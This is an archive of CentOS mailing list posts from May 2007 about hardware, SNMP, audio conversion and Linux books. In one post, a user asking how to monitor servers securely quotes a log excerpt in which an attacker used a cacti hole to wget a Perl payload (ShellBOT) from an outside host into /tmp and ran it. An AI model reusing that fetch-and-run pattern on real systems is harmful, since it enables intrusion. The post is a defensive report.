nforce 430 MCP61 chipset on centos 4.4
by tblader 26 May '07

26 May '07

Hello All. I've got an Asus board with a non-operational nic and sound chip on Centos 4.4. Anyone know if this is possible to get working on 4.4? I've downloaded 5.0 but it looks like others still have issues* with this chipset. Thanks. [*]- http://bugs.centos.org/view.php?id=1989 -- Flambeau Inc.

Centos - 4.x - VAIO notebook heating up
by abhishek jain 26 May '07

26 May '07

Hi friends, I have a problem i have VAIO VGN-F seies notebook which was performing slow on main power source, working fine on battery i did some tweaks on CPU speeds reading a lot of tutorials , i do not know whether this or somthing else has now started making mine notebook got heated up , i mean it is heatin up from base. I also have windows on the same system (dual boot), it was also heating up , i then installed NHC (Notebook Hardware Control ) on windows XP, it reduced the CPU speed and which probably increases load on the system, this removed the heating problem of CPU. I have a question that is there a similar s/w availble on linux Centos 4.xor i need to reinstall the OS or can it be a hardware problem the CPU heating up. Has someone experienced the same problem , NHC says the earlier temp of my CPU was above 90 degree C now it is 60 degree C. Thanks, Early answers expected, Regards, Abhishek jain

Suggested way to remotely monitor servers and networks these days?
by Dexter Ang 26 May '07

26 May '07

Hi folks, I'm just wondering what is the recommended way of monitoring servers and networks remotely. My current setup is to install and configure cacti and nagios. I've set these up to require SSL. This way, I can easily go to them and login from wherever I am and monitor (almost) everything I need to monitor. The problem is that leaving cacti open was the most stupid thing I've done. After checking /var/log/httpd/error_log, I saw that someone exploited a cacti php file and the result was: --08:13:11-- http://psaico.host.sk/desk.pl => `/tmp/desk.pl' Resolving psaico.host.sk... 62.168.109.150 Connecting to psaico.host.sk|62.168.109.150|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 20,144 (20K) [text/x-perl] 0K .......... ......... 100% 28.26KB/s 08:13:13 (28.26 KB/s) - `/tmp/desk.pl' saved [20144/20144] which immediately downloaded ShellBOT to /tmp and executed it. It was a good thing I caught this as early as I did. So, what's everyone elses solution these days? Or is it simply a matter of creating a /tmp partition and mounting it noexec? On a side note... anyone with experience with ShellBOT? From research, it seems to attempt to connect to an IRC server upon running. So if my outgoing connections are secured by iptables, can I assume it never got connected at all? I'll probably try this out someday but just looking for a quick experienced answer. Thanks! dex

Issues with SNMP
by Robert Spangler 26 May '07

26 May '07

Hello, I'm wondering if anyone else is seeing the same issues I'm seeing here. I have recently upgraded one of my systems from 4.4 to 4.5 and ever since then I cannot get snmp to work. I am monitoring the interface traffic. Please keep in mind the firewall/router I do the same thing without any issues for 4 interfaces and it is still at 4.4 and doesn't have any issues. If I try an snmpwalk I get the following; ~~~~~~~~~~~~~~~~~~~~~~ snmp $ snmpwalk -v 1 -c <string> localhost system Timeout: No Response from localhost snmp $ snmpwalk -v 2c -c <string> localhost system Timeout: No Response from localhost ~~~~~~~~~~~~~~~~~~~~~~ snmpd is up and running according to the system ~~~~~~~~~~~~~~~~~~~~~~ snmp $ service snmpd status snmpd (pid 7884) is running... ~~~~~~~~~~~~~~~~~~~~~~ snmp.conf file hasn't changed since I last changed it in Jan. I'm stumped as to why it is not working and don't want to upgrade the router/firewall box, which is working without any issues, until this get fixed. Can someone point me to what I am missing or point me in the right direction? Thnx! Oh, here is the output from uname ~~~~~~~~~~~~~~~~~~~~~~ snmp $ uname -a Linux <host> 2.6.9-55.EL #1 Wed May 2 13:52:08 EDT 2007 x86_64 x86_64 x86_64 GNU/Linux ~~~~~~~~~~~~~~~~~~~~~~ SNMP version installed; ~~~~~~~~~~~~~~~~~~~~~~ snmp $ rpm -qa | grep snmp net-snmp-libs-5.1.2-11.EL4.10 net-snmp-utils-5.1.2-11.EL4.10 net-snmp-5.1.2-11.EL4.10 net-snmp-libs-5.1.2-11.EL4.10 ~~~~~~~~~~~~~~~~~~~~~~ If there is anything more that you need, I will supply it. Thnx again. -- Regards Robert Smile... it increases your face value!

Coping music from tapes
by Ioannis Vranos 26 May '07

26 May '07

OS: CentOS 5.0 x86. Hi, I have some old music tapes and a walkman, and want to move the music to mp3 format. So far I am thinking to use Audacity to record the music to wavs, and then do not know, somehow I will compress the wavs to mp3s as vbr 192 Kbps with something. Has anyone done this? What app did you use for recording the music from the tapes and what app did you use to make it mp3? Unfortunately my mp3 player doesn't support ogg vorbis, so this is not an option. Thanks in advance.

Hi, I have a number of free tickets to LinuxTag, Berlin. These are "full passes", valued at 22 Euro each. I can send you these 'eTickets' by email and they need to be printed before attending. If you're interested in one or more tickets, please send your email-address(es) to me. Who mails me first, will get them first. If I have more etickets left than subscribers, then I'll look for those people that requested more than one.

Two Linux books I recommend
by Lanny Marcus 25 May '07

25 May '07

I would like to recommend two (2) Linux books that might be helpful to some of the people reading this mailing list: (1) "Red Hat Fedora and Enterprise Linux Bible", by Christopher Negus. Published by Wiley. Buy the edition for the version of CentOS you are using. This book is very easy to read and is probably best for Beginning to Intermediate users. This is the book I reach for first. (Disclaimer: I wrote a review that was published in one edition of the book and I received free copies of two editions. I have also purchased several editions) (2) "Running Linux", published by O'Reilly. This book is a classic and was recommended to me by an engineer at Red Hat. I have the 4th edition, but there is a later edition available. This book is a tougher read, but, it goes into things more deeply than the other book I recommend. Probably best for Intermediate and Advanced users. I've purchased 2 or 3 editions of this book. There are probably many other excellent Linux books available that others can recommend, especially about specific topics. HTH, Lanny
